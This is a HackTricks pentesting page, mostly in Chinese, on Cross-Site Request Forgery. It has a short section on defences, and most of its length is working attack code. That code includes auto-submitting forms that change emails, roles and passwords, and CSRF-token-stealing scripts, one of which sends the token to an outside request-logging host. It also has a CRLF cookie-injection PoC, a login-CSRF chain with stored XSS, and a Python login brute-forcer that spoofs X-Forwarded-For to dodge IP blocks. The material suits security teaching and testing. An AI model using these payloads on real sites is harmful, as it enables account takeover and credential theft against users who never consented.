CSRF (Cross Site Request Forgery)
Reading time: 27 minutes
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Cross-Site Request Forgery (CSRF) 解释
Cross-Site Request Forgery (CSRF) 是一种常见于 web 应用的安全漏洞。它允许攻击者通过利用用户的已认证会话,代替不知情的用户执行操作。攻击在用户(已登录受害者平台)访问恶意站点时发生,该站点通过执行 JavaScript、提交表单或获取图片等方式向受害者账户发起请求。
CSRF 攻击的先决条件
要利用 CSRF 漏洞,需要满足多个条件:
- 识别有价值的操作:攻击者需要找到值得利用的操作,例如更改用户密码、邮箱或提升权限。
- 会话管理:用户的会话应仅通过 cookies 或 HTTP Basic Authentication header 管理,因为其他头部无法为此目的被操控。
- 不存在不可预测的参数:请求中不应包含不可预测的参数,否则可能阻止攻击。
快速检查
你可以 在 Burp 中捕获请求 并检查 CSRF 保护;要在浏览器中测试,你可以点击 Copy as fetch 并检查该请求:
 (1) (1).png)
防御 CSRF 攻击
可以实施多种对策来防止 CSRF 攻击:
- SameSite cookies:该属性阻止浏览器在跨站请求时发送 cookies。More about SameSite cookies。
- Cross-origin resource sharing:受害站点的 CORS 策略会影响攻击的可行性,尤其是当攻击需要读取受害站点响应时。Learn about CORS bypass。
- 用户验证:提示用户输入密码或完成 captcha 可以确认用户意图。
- 检查 Referrer 或 Origin 头:验证这些头可以帮助确保请求来自可信来源。但精心构造的 URL 仍可绕过实现不当的检查,例如:
- 使用
http://mal.net?orig=http://example.com(URL 以受信任 URL 结尾) - 使用
http://example.com.mal.net(URL 以受信任 URL 开头)
- 使用
- 修改参数名:更改 POST 或 GET 请求中参数的名称可以有助于防止自动化攻击。
- CSRF Tokens:在每个会话中加入唯一的 CSRF token,并在后续请求中要求提供该 token,可以显著降低 CSRF 风险。通过强制 CORS 可以提高 token 的有效性。
理解并实施这些防御对于维护 web 应用的安全性和完整性至关重要。
防御的常见陷阱
- SameSite 陷阱:
SameSite=Lax仍允许顶级的跨站导航,比如链接和表单 GET,因此许多基于 GET 的 CSRF 仍然可行。参见 cookie 矩阵在 Hacking with Cookies > SameSite。 - 头部检查:当存在
Origin时验证其值;如果Origin和Referer都缺失,应拒绝请求。不要依赖对Referer的子串/正则匹配,因为可以通过相似域名或精心构造的 URL 绕过;还要注意meta name="referrer" content="never"的抑制技巧。 - 方法覆盖:将被覆盖的方法(
_method或 override headers)视为会改变状态的操作,并在实际方法上强制 CSRF,而不仅仅是在 POST 上。 - 登录流程:对登录也应用 CSRF 保护;否则,login CSRF 会导致强制重新认证到攻击者控制的账户,这可以与 stored XSS 链接起来。
绕过防御
从 POST 到 GET(基于方法的 CSRF 验证绕过)
一些应用只在 POST 上强制 CSRF 验证,而对其他动词跳过。PHP 中常见的反模式看起来像:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
如果易受攻击的 endpoint 也接受来自 $_REQUEST 的参数,你可以将相同的操作以 GET 请求重新发起并完全省略 CSRF token。这样可以把一个仅限 POST 的操作转换为一个无需 token 即可成功的 GET 操作。
Example:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- 这种模式常与 reflected XSS 一起出现,原因是响应被错误地作为 text/html 而不是 application/json 返回。
- 将此与 XSS 结合会大大降低利用门槛,因为你可以提供一个单一的 GET 链接,既触发易受攻击的代码路径,又完全绕过 CSRF 检查。
缺少 token
Applications might implement a mechanism to validate tokens when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
Moreover, some implementations only check that the parameter exists but don’t validate its content, so an empty token value is accepted. In that case, simply submitting the request with csrf= is enough:
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
最小化自动提交 PoC (通过 history.pushState 隐藏导航):
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRF 令牌未绑定到用户会话
应用程序未将 CSRF 令牌绑定到用户会话会带来重大安全风险。这些系统会将令牌与全局池进行验证,而不是确保每个令牌绑定到发起会话。
攻击者利用该问题的方式如下:
- Authenticate 使用他们自己的账户。
- 从全局池获取有效的 CSRF 令牌。
- 在针对受害者的 CSRF 攻击中使用该令牌。
该漏洞允许攻击者代表受害者发起未经授权的请求,利用应用程序不充分的令牌验证机制。
绕过方法
如果请求使用了一个“weird”的方法,检查method override功能是否可用。例如,如果它使用的是 PUT/DELETE/PATCH 方法,你可以尝试使用 POST 并发送覆盖,例如 https://example.com/my/dear/api/val/num?_method=PUT。
也可以通过在 POST body 中发送 _method 参数 或使用覆盖 headers 来实现:
X-HTTP-MethodX-HTTP-Method-OverrideX-Method-Override
在 Laravel, Symfony, Express 等框架中常见。开发者有时会对非 POST 动词跳过 CSRF 检查,认为浏览器无法发出这些请求;但通过 override,你仍然可以通过 POST 访问这些处理程序。
示例请求和 HTML PoC:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
Custom header token bypass
如果请求通过在请求中添加一个 custom header 和 token 作为 CSRF protection method,那么:
- 在没有 Customized Token and also header. 的情况下测试请求。
- 使用长度完全相同但内容不同的 same length but different token 测试请求。
CSRF token is verified by a cookie
应用可能通过在 cookie 和请求参数中同时复制 token,或者设置 CSRF cookie 并验证后端收到的 token 是否与该 cookie 对应,来实现 CSRF 保护。应用通过检查请求参数中的 token 是否与 cookie 的值一致来验证请求。
然而,如果网站存在漏洞(例如 CRLF 漏洞)允许攻击者在受害者的浏览器中设置 CSRF cookie,则该方法易受 CSRF 攻击。攻击者可以通过加载一个伪装的图像来设置该 cookie,然后发起 CSRF 攻击。
下面是一个可能构造的攻击示例:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
注意,如果csrf token 与 session cookie 相关联时,此攻击不会生效,因为你需要将你的 session 设置到受害者那里,因此你实际上会攻击你自己。
Content-Type 更改
根据 this,为了在使用 POST 方法时避免 preflight 请求,允许的 Content-Type 值包括:
application/x-www-form-urlencodedmultipart/form-datatext/plain
然而,请注意,服务器的逻辑可能会根据所使用的 Content-Type 而有所不同,因此你应该尝试上面提到的值以及其他值,例如 application/json,text/xml, application/xml.
示例(来自 here)将 JSON 数据作为 text/plain 发送:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
绕过 JSON 数据的预检请求
当尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 Content-Type: application/json 并不可行。同样,使用 XMLHttpRequest 发送该 Content-Type 会触发预检请求。不过,存在一些策略可以尝试绕过此限制并检查服务器是否在不考虑 Content-Type 的情况下处理 JSON 数据:
- Use Alternative Content Types: 通过在表单中设置
enctype="text/plain"来使用Content-Type: text/plain或Content-Type: application/x-www-form-urlencoded。此方法用于测试后端是否会在不管 Content-Type 的情况下使用数据。 - Modify Content Type: 为了避免预检请求同时又让服务器将内容识别为 JSON,可以发送
Content-Type: text/plain; application/json。这不会触发预检请求,但如果服务器配置为接受application/json,可能会被正确处理。 - SWF Flash File Utilization: 一种不太常见但可行的方法是使用 SWF flash 文件来绕过此类限制。有关该技术的深入说明,请参阅 this post。
Referrer / Origin 检查绕过
Avoid Referrer header
应用可能只在存在 'Referer' header 时才进行验证。要阻止浏览器发送此 header,可以使用以下 HTML meta tag:
<meta name="referrer" content="never">
这可以确保 'Referer' 请求头被省略,从而可能绕过某些应用中的验证检查。
Regexp bypasses
要在 Referrer 将要在参数中发送的 URL 中设置服务器的域名,可以这样做:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD method bypass
在 this CTF writeup 的第一部分中解释到,Oak's source code 中的路由被设置为 handle HEAD requests as GET requests 且不返回响应体——这是一个常见的变通方法,并非 Oak 独有。与其实现一个专门处理 HEAD reqs 的处理器,它们只是被 given to the GET handler but the app just removes the response body。
因此,如果 GET 请求被限制,你可以直接 send a HEAD request that will be processed as a GET request。
Exploit Examples
Stored CSRF via user-generated HTML
当允许 rich-text editors 或 HTML injection 时,你可以持久化一个 passive fetch,触发存在漏洞的 GET endpoint。任何查看该内容的用户都会自动使用他们的 cookies 执行该请求。
- 如果应用使用一个未绑定到 user session 的 global CSRF token,则相同的 token 可能对所有用户都有效,使得 stored CSRF 在不同受害者间都可靠。
Minimal example that changes the viewer’s email when loaded:
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
Login CSRF 与 stored XSS 链接
Login CSRF 单独看可能影响较小,但与已认证的 stored XSS 链接后会变得非常强大:强制受害者使用攻击者控制的账号进行认证;在该上下文中,认证页面上的 stored XSS 会被触发,能够窃取 tokens、劫持 session 或提升权限。
- 确保 login endpoint 可被 CSRF 利用(没有 per-session token 或 origin check),且没有用户交互门槛阻止它。
- 在强制登录后,自动跳转到包含攻击者的 stored XSS payload 的页面。
最小化的 login-CSRF PoC:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
Exfiltrating CSRF Token
如果正在使用 CSRF token 作为 defence,你可以尝试通过滥用 XSS 漏洞或 Dangling Markup 漏洞来 exfiltrate it。
GET using HTML tags
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
其他可以用来自动发送 GET 请求的 HTML5 标签有:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
表单 GET 请求
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
表单 POST 请求
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
通过 iframe 发起表单 POST 请求
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST request
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST 请求
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST request v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
在 iframe 内发起表单 POST 请求
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
窃取 CSRF Token 并发送 POST 请求
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
窃取 CSRF Token 并使用 iframe、form 和 Ajax 发送 POST 请求
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
窃取 CSRF Token 并 使用 iframe 和 form 发送 POST 请求
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
窃取 token 并使用 2 个 iframes 发送它
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token 使用 Ajax 并通过 form 发送 post
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF 与 Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
该代码可用于使用 CSRF token 对登录表单进行 Brut Force(它还使用请求头 X-Forwarded-For 来尝试绕过可能的 IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
工具
- https://github.com/0xInfection/XSRFProbe
- https://github.com/merttasci/csrf-poc-generator
- Burp Suite Professional – Generate CSRF PoCs
参考资料
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Ultimate guide to CSRF vulnerabilities (YesWeHack)
- OWASP: Cross-Site Request Forgery (CSRF)
- Wikipedia: Cross-site request forgery
- PortSwigger Web Security Academy: CSRF labs
- Hackernoon: Blind CSRF
- YesWeHack Dojo: Hands-on labs
tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:
HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks